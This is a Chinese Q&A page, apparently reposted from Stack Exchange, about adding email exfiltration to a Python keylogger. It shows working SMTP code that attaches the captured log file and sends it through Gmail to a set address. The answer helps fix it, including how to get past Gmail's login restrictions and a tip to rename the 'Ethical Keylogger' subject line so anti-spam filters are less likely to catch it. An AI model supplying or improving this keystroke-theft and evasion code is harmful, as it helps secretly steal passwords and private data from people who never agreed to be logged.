如何为Python简易键盘记录器添加邮件发送功能?
问题:Python键盘记录器邮件发送功能无法正常工作
我想要给Python键盘记录器配置邮件发送功能,让它把记录的数据直接发送到指定邮箱,而不是存储在本地文件中。我尝试使用了以下代码,程序运行没有报错,但就是无法收到邮件。推测要么是Gmail限制了这类应用的访问,要么是我没有正确修改代码参数。
import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders email_user = 'email sender address, probably same as email_send' email_send = 'your email address @gmail.com' email_password = 'your email password' subject = 'Ethical Keylogger' msg = MIMEMultipart() msg['From'] = email_user msg['To'] = email_send msg['Subject'] = subject body = 'Here is the keylogger.' msg.attach(MIMEText(body,'plain')) filename = 'FILE LOCATION' #INSERT FILE LOCATION attachment = open(filename, 'rb') part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= "+filename) msg.attach(part) text = msg.as_string() server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(email_user, email_password) server.sendmail(email_user, email_send, text) server.quit()
排查与解决方法
1. 核心参数检查
- 确保
email_user和email_send是完整有效的Gmail地址,比如yourname@gmail.com,不要保留代码里的占位符文本。 - Gmail密码注意事项:
- 如果你的账号开启了两步验证,必须使用应用专用密码(在Google账号设置里生成),不能直接用登录密码。
- 如果没开两步验证,需要在Google账号安全设置中开启「不太安全的应用访问」(更推荐开启两步验证使用应用密码,安全性更高)。
2. 代码细节修正
filename必须填写正确的本地文件路径,比如./keylog_records.txt,如果文件不存在,邮件会附带空附件,可能被Gmail拦截。- 建议添加异常捕获代码,方便定位具体错误:
try: server.login(email_user, email_password) server.sendmail(email_user, email_send, text) print("邮件发送成功") except Exception as e: print(f"发送失败:{str(e)}") finally: server.quit()
3. Gmail安全与拦截问题
- 检查Gmail的垃圾邮件文件夹,这类邮件很可能被归类为垃圾邮件。
- 修改邮件主题和内容,避免使用敏感词汇,比如把
Ethical Keylogger改成Daily Log File,降低被反垃圾系统拦截的概率。 - 登录Gmail网页版,确认是否有异常登录提醒,需要手动允许该设备的登录请求。
内容的提问来源于stack exchange,提问作者Jroc
相关产品推荐
相关产品推荐

